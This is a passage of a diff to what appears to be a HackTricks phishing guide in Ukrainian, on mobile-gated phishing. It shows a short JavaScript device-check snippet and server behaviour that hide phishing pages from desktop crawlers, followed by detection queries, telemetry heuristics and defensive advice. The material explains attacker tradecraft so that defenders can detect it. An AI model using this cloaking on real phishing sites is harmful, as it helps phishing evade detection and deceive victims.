{{#endref}}
### Mobilegated phishing to evade crawlers/sandboxes
Оператори все частіше ховають свої phishing flows за простою перевіркою пристрою, щоб desktop crawlers ніколи не потрапляли на кінцеві сторінки. Поширений патерн — невеликий скрипт, який перевіряє наявність touch-capable DOM і відправляє результат на server endpoint; nonmobile клієнти отримують HTTP 500 (або порожню сторінку), тоді як mobile користувачам подається повний flow.
Мінімальний клієнтський фрагмент (типова логіка):
```html
<script src="/static/detect_device.js"></script>
```
Логіка `detect_device.js` (спрощено):
```javascript
const isMobile = ('ontouchstart' in document.documentElement);
fetch('/detect', {method:'POST', headers:{'Content-Type':'application/json'}, body: JSON.stringify({is_mobile:isMobile})})
.then(()=>location.reload());
```
Часто спостережувана поведінка сервера:
- Встановлює session cookie під час першого завантаження.
- Приймає `POST /detect {"is_mobile":true|false}`.
- Повертає 500 (або заглушку) на подальні GET-запити коли `is_mobile=false`; показує фішинг лише якщо `true`.
Пошук і евристики виявлення:
- Запит urlscan: `filename:"detect_device.js" AND page.status:500`
- Веб-телеметрія: послідовність `GET /static/detect_device.js``POST /detect` → HTTP 500 для немобільних; легітимні мобільні шляхи жертви повертають 200 з подальшим HTML/JS.
- Блокуйте або ретельно перевіряйте сторінки, які умовно відображають вміст виключно на основі `ontouchstart` або подібних перевірок пристрою.
Поради щодо захисту:
- Запускайте краулери з мобільно-подібними fingerprints та увімкненим JS, щоб виявити закритий контент.
- Налаштуйте сповіщення про підозрілі відповіді 500, що слідують за `POST /detect` на нещодавно зареєстрованих доменах.
## Джерела
- [https://zeltser.com/domain-name-variations-in-phishing/](https://zeltser.com/domain-name-variations-in-phishing/)
@ -560,5 +587,6 @@ mobile-phishing-malicious-apps.md
- [https://darkbyte.net/robando-sesiones-y-bypasseando-2fa-con-evilnovnc/](https://darkbyte.net/robando-sesiones-y-bypasseando-2fa-con-evilnovnc/)
- [https://www.digitalocean.com/community/tutorials/how-to-install-and-configure-dkim-with-postfix-on-debian-wheezy](https://www.digitalocean.com/community/tutorials/how-to-install-and-configure-dkim-with-postfix-on-debian-wheezy)
- [2025 Unit 42 Global Incident Response Report Social Engineering Edition](https://unit42.paloaltonetworks.com/2025-unit-42-global-incident-response-report-social-engineering-edition/)
- [Silent Smishing mobile-gated phishing infra and heuristics (Sekoia.io)](https://blog.sekoia.io/silent-smishing-the-hidden-abuse-of-cellular-router-apis/)
{{#include ../../banners/hacktricks-training.md}}